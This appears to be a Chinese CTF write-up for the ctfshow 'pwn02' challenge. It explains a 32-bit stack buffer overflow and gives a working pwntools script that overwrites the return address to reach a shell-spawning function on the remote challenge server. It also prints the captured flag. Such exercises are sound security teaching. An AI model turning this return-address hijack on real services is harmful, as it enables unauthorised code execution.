初识栈溢出 pwn02

简介: 初识栈溢出 pwn02

题目给了一个链接和端口   pwn.challenge.ctf.show 28183,可以nc看一下

题目给的链接和端口的其实是用来放进我们编写的exp脚本的

还给了一个附件 stack

下载好后拖进kali使用file和checksec命令检查一下

发现是一个32位的程序


No canary found 表示没有金丝雀保护,能栈溢出

NX enabled 表示不可执行,Linux的文件有三种属性,即 rwx,NX即表示没有x属性;

No PIE 表示未开启地址空间布局随机化。

我们将程序在IDA里面打开

找到main函数,使用快捷键F5进行反编译,得到伪代码

setvbuf()函数是对文件进行操作,在内存区建立一个缓存区用于与磁盘交换数据;

stdout是屏幕输出设备,stdin是键盘输入设备,自启并清空缓存区,方便及时输入输出;

puts()函数这里用于输出字符串;

这里有一个pwnme()函数,我们双击跟进查看它的定义

发现有一个数组s,它只有9个字节大小;


fgets() 函数有三个参数,这里表示从 stdin 中读取50个字符存储到数组 s ,这就会造成栈溢出!


可能造成栈溢出的函数还有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy


对于栈溢出的利用,我们需要找两个东西:


首先是找我们需要利用的函数所在地址,这道题利用的是stack里面的system函数

也可以使用shift+F12找/bin/sh

双击跟进

定位后使用F5反编译

我们利用栈溢出让返回的地址变为我们需要利用的函数的地址

其次我们还需要找造成栈溢出的函数的地址到ebp的距离

前面我们说了,这里造成栈溢出的函数是pwnme函数

最后我们根据程序是32位还是64位,对应加上4或8个字节的ebp(栈底)即可

最终我们在s处填入9+4=13个字节

编写exp脚本:

from pwn import *  //导入了pwntools库
#p = process("./stack")
p = remote("pwn.challenge.ctf.show",28196) //创建一个远程连接,将程序与指定的主机和端口建立起联系
p.recv() //接收并丢弃来自远程连接的数据
#p.recvuntil('32bits\n') //直到接收到"32bits\n"
payload = b"A"*(0x9+4) + p32(0x0804850F) //payload由一串"A"字符组成,长度为13个字节(0x9+4),通过调用p32()函数,将地址0x0804850F转换为Little Endian格式的4字节序列,并将其附加到payload末尾
p.send(payload)  //将构造好的payload发送到远程连接的目标端点
p.interactive()  //启动交互式会话,允许用户在本地终端与远程连接进行交互

使用python3 执行脚本

执行命令,拿到flag

ctfshow{fa60556d-cefa-434b-9fdf-e7d8f9235ae1}

这个题要想从本质上去理清楚,还是得看懂下图右侧的代码,了解常用的函数作用,并且根据代码画出栈的整个变换过程,每个函数都有一个自己的栈,main函数的栈进行变化后最终会被还原的,也算是对栈的一个保护。


真的不太好理解,栈底在高地址,栈顶在低地址,入栈的时候是从下往上压入,但是对于已经存在的东西比如这道题的数组s,又是从上往下存,或者说是改变它的值。

目录
相关文章
|
2天前
|
C语言
【数据结构】栈和队列(c语言实现)(附源码)
本文介绍了栈和队列两种数据结构。栈是一种只能在一端进行插入和删除操作的线性表,遵循“先进后出”原则;队列则在一端插入、另一端删除,遵循“先进先出”原则。文章详细讲解了栈和队列的结构定义、方法声明及实现,并提供了完整的代码示例。栈和队列在实际应用中非常广泛,如二叉树的层序遍历和快速排序的非递归实现等。
38 9
|
1月前
|
存储 算法 搜索推荐
探索常见数据结构:数组、链表、栈、队列、树和图
探索常见数据结构:数组、链表、栈、队列、树和图
85 64
|
1天前
|
存储
系统调用处理程序在内核栈中保存了哪些上下文信息?
【10月更文挑战第29天】系统调用处理程序在内核栈中保存的这些上下文信息对于保证系统调用的正确执行和用户程序的正常恢复至关重要。通过准确地保存和恢复这些信息,操作系统能够实现用户模式和内核模式之间的无缝切换,为用户程序提供稳定、可靠的系统服务。
20 4
|
24天前
|
算法 程序员 索引
数据结构与算法学习七:栈、数组模拟栈、单链表模拟栈、栈应用实例 实现 综合计算器
栈的基本概念、应用场景以及如何使用数组和单链表模拟栈,并展示了如何利用栈和中缀表达式实现一个综合计算器。
25 1
数据结构与算法学习七:栈、数组模拟栈、单链表模拟栈、栈应用实例 实现 综合计算器
|
5天前
|
算法 安全 NoSQL
2024重生之回溯数据结构与算法系列学习之栈和队列精题汇总(10)【无论是王道考研人还是IKUN都能包会的;不然别给我家鸽鸽丢脸好嘛?】
数据结构王道第3章之IKUN和I原达人之数据结构与算法系列学习栈与队列精题详解、数据结构、C++、排序算法、java、动态规划你个小黑子;这都学不会;能不能不要给我家鸽鸽丢脸啊~除了会黑我家鸽鸽还会干嘛?!!!
|
24天前
初步认识栈和队列
初步认识栈和队列
52 10
|
18天前
数据结构(栈与列队)
数据结构(栈与列队)
15 1
|
24天前
|
算法
数据结构与算法二:栈、前缀、中缀、后缀表达式、中缀表达式转换为后缀表达式
这篇文章讲解了栈的基本概念及其应用,并详细介绍了中缀表达式转换为后缀表达式的算法和实现步骤。
39 3
|
23天前
|
存储 JavaScript 前端开发
为什么基础数据类型存放在栈中,而引用数据类型存放在堆中?
为什么基础数据类型存放在栈中,而引用数据类型存放在堆中?
61 1
|
26天前
|
存储 安全 Java
【用Java学习数据结构系列】探索栈和队列的无尽秘密
【用Java学习数据结构系列】探索栈和队列的无尽秘密
28 2